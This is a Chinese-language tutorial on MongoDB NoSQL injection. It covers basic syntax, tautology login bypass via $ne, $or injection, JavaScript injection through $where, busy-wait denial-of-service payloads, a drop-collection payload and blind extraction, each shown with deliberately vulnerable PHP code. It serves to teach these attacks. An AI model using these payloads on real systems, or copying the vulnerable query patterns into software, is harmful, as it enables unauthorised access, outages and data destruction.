基础语法

MongoDB为例

简介

mongodb是以文档的形式来存储数据,文档也是mongodb的最基本的数据组织形式

文档以key:value的形式存在,一个文档可以有多个键值对 键值对的类型不需要一致,

{‘color’:’blue’} 一个键值对

{‘color’:’blue’,

‘num’:1234,

‘price’,4321}

多个文档组合成集合,可以这样想,文档是关系数据库中的行,集合就是表,表在组合成库,

key:value ==> 文档 ==> 集合 ==> 数据库

操作符

$gt ==>大于

$lt ==>小于

$gte ==> 大于等于

$lte ==> 小于等于

$regex ===> 正则表达式

$ne ==>不等于

$eq ==>等于

$where ==>转换js语句

$in ==> in(在)

$nin ==> not in (不在)

$or ==> or

举个栗子

查询user表name=admin的记录

db.user.find({‘name’:’admin’});

查询user表中name不等于admin的记录

db.user.find({‘name’:{$ne:’admin’}});

注入方式

重言式注入

重言式注入主要是因为他的猪队友php的数组机制,

后台查询语句为

1
2
3
4
5
6
7
$data = array(

'username' => $_REQUEST['username'],

'password' => $_REQUEST['password']

);

正常情况下

?username=xx&password=xxx

在php中

1
2
3
4
5
6
$data = array(

'username' => 'xx',

'password' => 'xxx'
);

在mongodb中

1
2
3
4
5
6
7
8
db.user.find(

{
"username":'xx',
"password":'xxx'
}

)

当输入username[$ne]=1&password[$ne]=2时,就会产生重言式注入

1
2
3
4
5
6
db.user.find(
{
"username":{$ne:'1'},
"password":{$ne:'2'}
}
)

等同于查询username不等于1 password不等于2

联合查询注入

这个简单看一下,现在的mongodb查询要求必须是一个数组,

后台

1
string query ="{ username: '" + post_username + "', password: '" + post_password + "' }"

payload

1
username=guest', $or: [ {}, { 'a':'a&password=' } ]

JS注入

$where操作符可以执行js内容

1
2
3
4
5
6
7
8
9
10
  $query_body ="

function q() {

var username = ".$_REQUEST["username"].";

var password = ".$_REQUEST["password"].";if(username == '1'&&password == '1') return true; else{ return false;}}

";
$result = $collection->find(array('$where'=>$query_body));

输入

?username=admin&password=123;return true;

mongodb中

1
2
3
4
5
6
7
db.user.find(
{
$where:"function q() {var username = 1;"+"var password =1;return true;;if(username=='admin'&&password=='123')"+
"return true;else {return flase;}}"
}

)

再放几个payload

1
2
3
4
5
6
//one
username=1&password=1;(function(){var%20date%20=%20new%20Date();%20do{curDate%20=%20new%20Date();}while(curDate-date%3C5000);%20return%20Math.max();})();//cpu瞬间飙升5秒

//two

?username=1&password=2;var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/100 < 20); return true;}// 将系统延迟20秒,如果改成while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 20); 则可以导致数据库报错。.

commod命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$username = $_REQUEST['username'];
$cmd = new MongoDB\Driver\Command([
// build the 'distinct' command
'eval'=> "db.users.distinct('username',{'username':'$username'})"
]);
$cursor = $manager->executeCommand('test', $cmd)->toArray();
var_dump($cursor);
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}

payload

删库

payload:username=2′});db.users.drop();db.user.find({‘username’:’2

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$m = new MongoClient();
$postedusername = $_REQUEST['news'];
$db = $m->test;
$collection = $db->user;
$function = "function() {if(this.news == '$news') return true}";
echo $function;
$result = $coll->find(array('$where'=>$function));
if ($result->count()>0) {
echo '该新闻存在';
}else{
echo '该新闻不存在';
}

?>

this.news查找user集合中的news,这里有if判断,如果输入一个存在的news返回,新闻存在。输入一个不存在news返回,新闻不存在

输入

?news=123’ || ‘1’== ‘1 ==>function() {if(this.news == ‘123’ || ‘1’== ‘1’) return true} 构造一个条件为真的判断,返回新闻存在

payload

?news=123’||this.news[0] ==’A 通过返回新闻存在和不存在 判断news的内容

参考链接

https://blog.szfszf.top/tech/nosql%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93mongodb/#i-4